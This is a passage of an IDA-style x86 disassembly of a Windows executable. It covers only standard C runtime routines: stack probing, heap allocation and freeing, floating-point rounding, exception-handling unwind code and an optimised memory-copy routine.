; =============== S U B	R O U T	I N E =======================================



sub_410BE0	proc near		; CODE XREF: sub_4038A7+8p
					; seg000:00403D0Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_410C00


loc_410BEC:				; CODE XREF: sub_410BE0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_410BEC


loc_410C00:				; CODE XREF: sub_410BE0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_410BE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C0F	proc near		; CODE XREF: sub_402124+Ap
					; sub_40215E+12p ...

arg_0		= dword	ptr  4

		push	ds:dword_45F89C
		push	[esp+4+arg_0]
		call	sub_410C21
		pop	ecx
		pop	ecx
		retn
sub_410C0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C21	proc near		; CODE XREF: sub_410C0F+Ap
					; sub_411605+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_410C4A


loc_410C28:				; CODE XREF: sub_410C21+27j
		push	[esp+arg_0]
		call	sub_410C4D
		test	eax, eax
		pop	ecx
		jnz	short locret_410C4C
		cmp	[esp+arg_4], eax
		jz	short locret_410C4C
		push	[esp+arg_0]
		call	sub_4134BB
		test	eax, eax
		pop	ecx
		jnz	short loc_410C28


loc_410C4A:				; CODE XREF: sub_410C21+5j
		xor	eax, eax

locret_410C4C:				; CODE XREF: sub_410C21+13j
					; sub_410C21+19j
		retn
sub_410C21	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C4D	proc near		; CODE XREF: sub_410C21+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_42E3AC
		ja	short loc_410C65
		push	esi
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jnz	short loc_410C81


loc_410C65:				; CODE XREF: sub_410C4D+Bj
		test	esi, esi
		jnz	short loc_410C6C
		push	1
		pop	esi


loc_410C6C:				; CODE XREF: sub_410C4D+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_460EA0
		call	ds:dword_41C134	; RtlAllocateHeap


loc_410C81:				; CODE XREF: sub_410C4D+16j
		pop	esi
		retn
sub_410C4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C83	proc near		; CODE XREF: sub_4021B3+Ap
					; sub_4021CC+7Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_410CB0
		push	esi
		call	sub_413550
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_410CA2
		push	eax
		call	sub_41357B
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410C83+13j
		push	0
		push	ds:dword_460EA0
		call	ds:dword_41C138	; RtlFreeHeap


loc_410CB0:				; CODE XREF: sub_410C83+7j
		pop	esi
		retn
sub_410C83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410CB2(double)

sub_410CB2	proc near		; CODE XREF: sub_4028E4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42E150
		call	sub_414879
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_410D38
		call	sub_414741
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_410D1B
		cmp	eax, 2
		jle	short loc_410D0D
		cmp	eax, 3
		jnz	short loc_410D1B
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_414051
		add	esp, 10h
		jmp	short loc_410D7D
; ---------------------------------------------------------------------------


loc_410D0D:				; CODE XREF: sub_410CB2+3Fj
		push	esi
		push	ebx
		call	sub_414879
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_410D7D
; ---------------------------------------------------------------------------


loc_410D1B:				; CODE XREF: sub_410CB2+3Aj
					; sub_410CB2+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41C650
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_410D75
; ---------------------------------------------------------------------------


loc_410D38:				; CODE XREF: sub_410CB2+2Fj
		call	sub_414706
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_410D5B


loc_410D4D:				; CODE XREF: sub_410CB2+ACj
		push	esi
		push	ebx
		call	sub_414879
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_410D7D
; ---------------------------------------------------------------------------


loc_410D5B:				; CODE XREF: sub_410CB2+99j
		test	bl, 20h
		jnz	short loc_410D4D
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_410D75:				; CODE XREF: sub_410CB2+84j
		call	sub_4140A4
		add	esp, 1Ch


loc_410D7D:				; CODE XREF: sub_410CB2+59j
					; sub_410CB2+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_410CB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_410D81	proc near		; DATA XREF: seg002:0042E15Co
		call	sub_410D99
		call	sub_414942
		mov	ds:dword_45F824, eax
		call	sub_4148F2
		fnclex
		retn
sub_410D81	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_410D99	proc near		; CODE XREF: sub_410D81p
		mov	eax, offset sub_414D30
		mov	ds:off_42E4CC, offset sub_4149C5
		mov	ds:off_42E4C8, eax
		mov	ds:off_42E4D0, offset sub_414A2B
		mov	ds:off_42E4D4, offset sub_41496B
		mov	ds:off_42E4D8, offset sub_414A13
		mov	ds:off_42E4DC, eax
		retn
sub_410D99	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DD4	proc near		; CODE XREF: sub_4028E4+1Bp
					; sub_4028E4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_410DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_410DFB(double)

sub_410DFB	proc near		; CODE XREF: sub_402930+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_42E168
		call	sub_414879
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_410E81
		call	sub_414741
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_410E64
		cmp	eax, 2
		jle	short loc_410E56
		cmp	eax, 3
		jnz	short loc_410E64
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_414051
		add	esp, 10h
		jmp	short loc_410EC6
; ---------------------------------------------------------------------------


loc_410E56:				; CODE XREF: sub_410DFB+3Fj
		push	esi
		push	ebx
		call	sub_414879
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_410EC6
; ---------------------------------------------------------------------------


loc_410E64:				; CODE XREF: sub_410DFB+3Aj
					; sub_410DFB+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_41C650
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_410EBE
; ---------------------------------------------------------------------------


loc_410E81:				; CODE XREF: sub_410DFB+2Fj
		call	sub_414706
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_410EA4


loc_410E96:				; CODE XREF: sub_410DFB+ACj
		push	esi
		push	ebx
		call	sub_414879
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_410EC6
; ---------------------------------------------------------------------------


loc_410EA4:				; CODE XREF: sub_410DFB+99j
		test	bl, 20h
		jnz	short loc_410E96
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_410EBE:				; CODE XREF: sub_410DFB+84j
		call	sub_4140A4
		add	esp, 1Ch


loc_410EC6:				; CODE XREF: sub_410DFB+59j
					; sub_410DFB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_410DFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ECA	proc near		; CODE XREF: sub_4151A1+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_410ECA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_410EFE	proc near		; CODE XREF: sub_415352+199p
					; sub_415516+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_410EFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410F05	proc near		; CODE XREF: sub_415352+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_410F05	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F0C	proc near		; CODE XREF: sub_4110BE+5Cp
					; sub_4151A1:loc_4151D2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_410F34
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41AFFE	; RtlUnwind


loc_410F34:				; DATA XREF: sub_410F0C+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_410F0C	endp

; ---------------------------------------------------------------------------


loc_410F5B:				; CODE XREF: seg000:0041B15Cj
					; seg000:0041B179j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_414DA6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F91	proc near		; CODE XREF: sub_41521C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_410FE5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_4155A0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_410F91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FE5	proc near		; DATA XREF: sub_410F91+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_414DA6
		add	esp, 20h
		pop	ebp
		retn
sub_410FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41100A	proc near		; CODE XREF: sub_414FE8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4110BE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_411090
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_45F8BC
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_411090:				; DATA XREF: sub_41100A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4110AD
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4110B6
; ---------------------------------------------------------------------------


loc_4110AD:				; CODE XREF: sub_41100A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_4110B6:				; CODE XREF: sub_41100A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41100A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110BE	proc near		; DATA XREF: sub_41100A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4110E1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41112E
; ---------------------------------------------------------------------------


loc_4110E1:				; CODE XREF: sub_4110BE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_414DA6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41111F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_410F0C


loc_41111F:				; CODE XREF: sub_4110BE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41112E:				; CODE XREF: sub_4110BE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4110BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411133	proc near		; CODE XREF: sub_414E41+C6p
					; sub_414FE8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41118A


loc_411151:				; CODE XREF: sub_411133+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41115B
		call	sub_415642


loc_41115B:				; CODE XREF: sub_411133+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_411170
		cmp	ecx, [eax+8]
		jle	short loc_411175


loc_411170:				; CODE XREF: sub_411133+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_411181


loc_411175:				; CODE XREF: sub_411133+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_411181:				; CODE XREF: sub_411133+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_411151
		mov	eax, [ebp+var_4]


loc_41118A:				; CODE XREF: sub_411133+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41119E
		cmp	esi, eax
		jbe	short loc_4111A3


loc_41119E:				; CODE XREF: sub_411133+65j
		call	sub_415642


loc_4111A3:				; CODE XREF: sub_411133+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_411133	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111B0	proc near		; CODE XREF: sub_417B48+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4111C8
		push	[ebp+arg_0]
		call	sub_41AFFE	; RtlUnwind


loc_4111C8:				; DATA XREF: sub_4111B0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4111B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111D0	proc near		; DATA XREF: sub_4111F2+Ao
					; sub_41125A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4111F1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4111F1:				; CODE XREF: sub_4111D0+10j
		retn
sub_4111D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111F2	proc near		; CODE XREF: seg000:004152CFp
					; sub_417B48+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4111D0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41120F:				; CODE XREF: sub_4111F2:loc_41124Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41124C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41124C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41124A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_411286
		call	dword ptr [ebx+esi*4+8]


loc_41124A:				; CODE XREF: sub_4111F2+44j
		jmp	short loc_41120F
; ---------------------------------------------------------------------------


loc_41124C:				; CODE XREF: sub_4111F2+2Aj
					; sub_4111F2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4111F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41125A	proc near		; CODE XREF: sub_4152E2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4111D0
		jnz	short locret_41127C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41127C
		mov	eax, 1

locret_41127C:				; CODE XREF: sub_41125A+10j
					; sub_41125A+1Bj
		retn
sub_41125A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41127D	proc near		; CODE XREF: sub_4155A0+1Ep
					; sub_4155A0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42E16C
		jmp	short loc_411290
sub_41127D	endp


; =============== S U B	R O U T	I N E =======================================



sub_411286	proc near		; CODE XREF: sub_4111F2+4Fp
					; sub_417B48+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42E16C
		mov	ecx, [ebp+8]


loc_411290:				; CODE XREF: sub_41127D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_411286	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4112A0	proc near		; CODE XREF: sub_402930+5p
					; sub_402AD2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4112A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4112BF	proc near		; CODE XREF: sub_402FA7+26p
					; seg000:0041ADD5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_410C83
		pop	ecx
		retn
sub_4112BF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112D0	proc near		; CODE XREF: sub_403018+3Ap
					; sub_41357B+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4112F0
		cmp	edi, eax
		jb	loc_411468


loc_4112F0:				; CODE XREF: sub_4112D0+16j
		test	edi, 3
		jnz	short loc_41130C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41132C
		rep movsd
		jmp	ds:off_411418[edx*4]
; ---------------------------------------------------------------------------


loc_41130C:				; CODE XREF: sub_4112D0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_411324
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41132C+4[eax*4]
; ---------------------------------------------------------------------------


loc_411324:				; CODE XREF: sub_4112D0+46j
		jmp	dword ptr ds:loc_411428[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41132C:				; CODE XREF: sub_4112D0+31j
					; sub_4112D0+8Ej ...
		jmp	ds:off_4113AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411340
		dd offset loc_41136C
		dd offset loc_411390
; ---------------------------------------------------------------------------


loc_411340:				; DATA XREF: sub_4112D0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41132C
		rep movsd
		jmp	ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41136C:				; DATA XREF: sub_4112D0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41132C
		rep movsd
		jmp	ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_411390:				; DATA XREF: sub_4112D0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41132C
		rep movsd
		jmp	ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4113AC	dd offset loc_41140F	; DATA XREF: sub_4112D0:loc_41132Cr
		dd offset loc_4113FC
		dd offset loc_4113F4
		dd offset loc_4113EC
		dd offset loc_4113E4
		dd offset loc_4113DC
		dd offset loc_4113D4
		dd offset loc_4113CC
; ---------------------------------------------------------------------------


loc_4113CC:				; CODE XREF: sub_4112D0:loc_41132Cj
					; DATA XREF: sub_4112D0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4113D4:				; CODE XREF: sub_4112D0:loc_41132Cj
					; DATA XREF: sub_4112D0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4113DC:				; CODE XREF: sub_4112D0:loc_41132Cj
					; DATA XREF: sub_4112D0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4113E4:				; CODE XREF: sub_4112D0:loc_41132Cj
					; DATA XREF: sub_4112D0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4113EC:				; CODE XREF: sub_4112D0:loc_41132Cj
					; DATA XREF: sub_4112D0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4113F4:				; CODE XREF: sub_4112D0:loc_41132Cj
					; DATA XREF: sub_4112D0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


